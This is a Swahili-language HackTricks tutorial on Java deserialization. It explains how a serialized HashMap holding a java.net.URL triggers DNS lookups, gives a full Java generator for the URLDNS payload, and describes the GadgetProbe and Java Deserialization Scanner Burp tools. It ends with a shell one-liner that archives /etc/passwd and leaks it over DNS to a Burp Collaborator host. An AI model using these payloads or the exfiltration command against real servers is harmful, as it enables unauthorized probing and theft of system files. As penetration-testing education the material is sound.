11 KiB
Ufichuzi wa DNS wa Java, GadgetProbe na Skana ya Ufichuzi wa Java
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Ombi la DNS kwenye ufichuzi
Darasa la java.net.URL
linatekeleza Serializable
, hii inamaanisha kuwa darasa hili linaweza kuserilishwa.
public final class URL implements java.io.Serializable {
Darasa hili lina tabia ya kushangaza. Kutoka kwa hati ya maelezo: "Wenyeji wawili wanachukuliwa kuwa sawa ikiwa majina yote ya mwenyeji yanaweza kutatuliwa kuwa anwani sawa za IP".
Kisha, kila wakati kitu cha URL kinaita moja kwa moja ya kazi sawa
au hashCode
ombi la DNS kupata Anwani ya IP itatumwa.
Kuita kazi hashCode
kutoka kwa kitu cha URL ni rahisi sana, ni vya kutosha kuingiza kitu hiki ndani ya HashMap
ambayo itadeserialized. Hii ni kwa sababu mwishoni mwa kazi ya readObject
kutoka kwa HashMap
msimbo huu unatekelezwa:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
Hii ni kwenda kutekeleza putVal
na kila thamani ndani ya HashMap
. Lakini, muhimu zaidi ni wito wa hash
na kila thamani. Hii ni nambari ya kazi ya hash
:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
Kama unavyoweza kushuhudia, wakati wa kudezirializa HashMap
kazi ya hash
itatekelezwa kwa kila kitu na wakati wa utekelezaji wa hash
itatekelezwa .hashCode()
ya kitu. Kwa hivyo, ikiwa unadezirializa HashMap
yenye kitu cha URL, kitu cha URL kitatekeleza .hashCode()
.
Sasa, tuchunguze nambari ya URLObject.hashCode()
:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
Kama unavyoweza kuona, wakati URLObject
inatekeleza .hashCode()
inaitwa hashCode(this)
. Kuendelea unaweza kuona nambari ya kazi hii:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
Unaweza kuona kwamba getHostAddress
inatekelezwa kwa kikoa, kuzindua ombi la DNS.
Hivyo, darasa hili linaweza kutumiwa vibaya ili kuzindua ombi la DNS ili kuonyesha kwamba kuserilishwa kunawezekana, au hata kuvuja taarifa (unaweza kuongeza kama subdomain matokeo ya utekelezaji wa amri).
Mfano wa msimbo wa mzigo wa URLDNS
Unaweza kupata msimbo wa mzigo wa URLDNS kutoka ysoserial hapa. Hata hivyo, kwa lengo la kufanya iwe rahisi kuelewa jinsi ya kuandika msimbo huo, nimeunda Msimbo wa Mfano wangu (ukizingatia ule kutoka ysoserial):
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
Taarifa zaidi
- https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
- Katika wazo la awali, mzigo wa makusanyo ya kawaida ulibadilishwa ili kufanya uchunguzi wa DNS, hii ilikuwa isiyoaminika kuliko njia iliyopendekezwa, lakini hii ni chapisho: https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/
GadgetProbe
Unaweza kupakua GadgetProbe kutoka kwa Duka la Programu la Burp Suite (Extender).
GadgetProbe itajaribu kugundua ikiwa baadhi ya darasa za Java zipo kwenye darasa la seva ili ujue ikiwa ina kasoro ya baadhi ya shambulio lililojulikana.
Inafanyaje kazi
GadgetProbe itatumia mzigo sawa wa DNS wa sehemu iliyopita lakini kabla ya kutekeleza uchunguzi wa DNS itajaribu kudezilia darasa la kiholela. Ikiwa darasa la kiholela lipo, ombi la DNS litatumiwa na GadgetProbe itaandika kuwa darasa hili lipo. Ikiwa ombi la DNS halijatumwa, hii inamaanisha kuwa darasa la kiholela halikudeziliwa kwa mafanikio hivyo linaweza kutokuwepo au halitumiki/kutumiwa vibaya.
Ndani ya github, GadgetProbe ina orodha ya maneno na darasa za Java za kupimwa.
Taarifa Zaidi
Java Deserialization Scanner
Scanner huyu anaweza kupakuliwa kutoka kwa Duka la Programu la Burp (Extender).
Upanuzi una uwezo wa kupita na uwezo wa kitendo.
Kupita
Kwa chaguo-msingi inachunguza kwa upande maombi yote na majibu yaliyotumwa kutafuta baiti za uchawi zilizosanidiwa za Java na itatoa onyo la kasoro ikiwa itapatikana:
Kitendo
Upimaji wa Kibinafsi
Unaweza kuchagua ombi, bofya kulia na Tuma ombi kwa DS - Upimaji wa Kibinafsi
.
Kisha, ndani ya Kichupo cha Scanner cha Kudezilia --> Kichupo cha upimaji wa kibinafsi unaweza kuchagua sehemu ya kuingiza. Na anzisha upimaji (Chagua shambulio sahihi kulingana na usimbaji unaotumiwa).
Hata kama hii inaitwa "Upimaji wa Kibinafsi", ni kielelezo cha kiotomatiki. Itachunguza moja kwa moja ikiwa kudezilia kuna kasoro kwa mzigo wowote wa ysoserial ikichunguza maktaba zilizopo kwenye seva ya wavuti na itaonyesha zile zinazoweza kuathiriwa. Ili kuchunguza maktaba zinazoweza kuathiriwa unaweza kuchagua kuzindua Javas Sleeps, sleeps kupitia matumizi ya CPU, au kutumia DNS kama ilivyotajwa hapo awali.
Kutumia
Marafiki umetambua maktaba inayoweza kuathiriwa unaweza kutuma ombi kwa Kichupo cha Kutumia.
Katika kichupo hiki unapaswa kuchagua tena sehemu ya kuingiza, na andika maktaba inayoweza kuathiriwa unayotaka kuunda mzigo kwa, na amri. Kisha, bonyeza kitufe sahihi cha Shambulio.
Taarifa ya Java Deserialization DNS Exfil
Fanya mzigo wako utekeleze kitu kama hiki:
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
Taarifa Zaidi
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.